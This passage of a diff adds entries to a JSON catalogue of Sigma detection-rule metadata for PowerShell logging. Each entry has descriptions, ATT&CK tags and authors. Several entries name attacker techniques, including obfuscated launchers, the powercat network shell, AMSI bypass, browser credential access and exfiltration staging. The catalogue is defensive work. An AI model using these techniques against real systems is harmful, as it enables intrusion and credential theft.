"value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_pm_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_pm_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_pm_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_pm_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", + "value": "Netcat The Powershell Version", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "posh_pm_powercat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sessions", + "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", + "value": "Remote PowerShell Session (PS Module)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/08/10", + "filename": "posh_pm_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "high", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", + "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_pm_susp_ad_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pm_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", + "value": "Use Get-NetTCPConnection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "posh_pm_susp_get_nettcpconnection.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", + "value": "Suspicious PowerShell Invocations - Generic", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/12", + "filename": "posh_pm_susp_invocation_generic.yml", + "author": "Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", + "value": "Suspicious PowerShell Invocations - Specific", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pm_susp_invocation_specific.yml", + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", + "value": "Suspicious Get Local Groups Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "posh_pm_susp_local_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", + "uuid": "e3818659-5016-4811-a73c-dde4679169d2", + "value": "Suspicious Computer Machine Password by PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2022/02/21", + "filename": "posh_pm_susp_reset_computermachinepassword.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "uuid": "6942bd25-5970-40ab-af49-944247103358", + "value": "Suspicious Get Information for SMB Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_pm_susp_smb_share_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_pm_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "posh_pm_syncappvpublishingserver_exe.yml", + "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detecting use WinAPI Functions in PowerShell", + "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", + "value": "Accessing WinAPI in PowerShell", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1106" + ], + "creation_date": "2020/10/06", + "filename": "posh_ps_accessing_win_api.yml", + "author": "Nikita Nazarov, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", + "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", + "value": "Access to Browser Login Data", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ], + "creation_date": "2022/01/30", + "filename": "posh_ps_access_to_browser_login_data.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", + "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", + "value": "Powershell Add Name Resolution Policy Table Rule", + "meta": { + "refs": [ + "https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ], + "creation_date": "2021/09/14", + "filename": "posh_ps_add_dnsclient_rule.yml", + "author": "Borna Talebi", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", + "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", + "value": "PowerShell ADRecon Execution", + "meta": { + "refs": [ + "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", + "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/07/16", + "filename": "posh_ps_adrecon_execution.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", + "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", + "value": "AMSI Bypass Pattern Assembly GetType", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ], + "creation_date": "2022/11/09", + "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", + "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", + "value": "Silence.EDA Detection", + "meta": { + "refs": [ + "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1572", + "attack.impact", + "attack.t1529", + "attack.g0091", + "attack.s0363" + ], + "creation_date": "2019/11/01", + "filename": "posh_ps_apt_silence_eda.yml", + "author": "Alina Stepchenkova, Group-IB, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", + "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", + "value": "Get-ADUser Enumeration Using UserAccountControl Flags", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", + "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_as_rep_roasting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", + "value": "Automated Collection Command PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/28", + "filename": "posh_ps_automated_collection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", + "uuid": "83083ac6-1816-4e76-97d7-59af9a9ae46e", + "value": "AzureHound PowerShell Commands", + "meta": { + "refs": [ + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_azurehound_commands.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1069" + ], + "creation_date": "2021/10/23", + "filename": "posh_ps_azurehound_commands.yml", + "author": "Austin Songer (@austinsonger)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", + "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", + "value": "Windows Screen Capture with CopyFromScreen", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_capture_screenshots.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", + "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", + "value": "Clearing Windows Console History", + "meta": { + "refs": [ + "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", + "https://www.shellhacks.com/clear-history-powershell/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1070.003" + ], + "creation_date": "2021/11/25", + "filename": "posh_ps_clearing_windows_console_history.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", + "value": "Clear PowerShell History", + "meta": { + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/01/25", + "filename": "posh_ps_clear_powershell_history.yml", + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", + "value": "Execution via CL_Invocation.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_invocation_lolscript.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", + "value": "Execution via CL_Invocation.ps1 (2 Lines)", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_invocation_lolscript_count.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", + "value": "Execution via CL_Mutexverifiers.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": 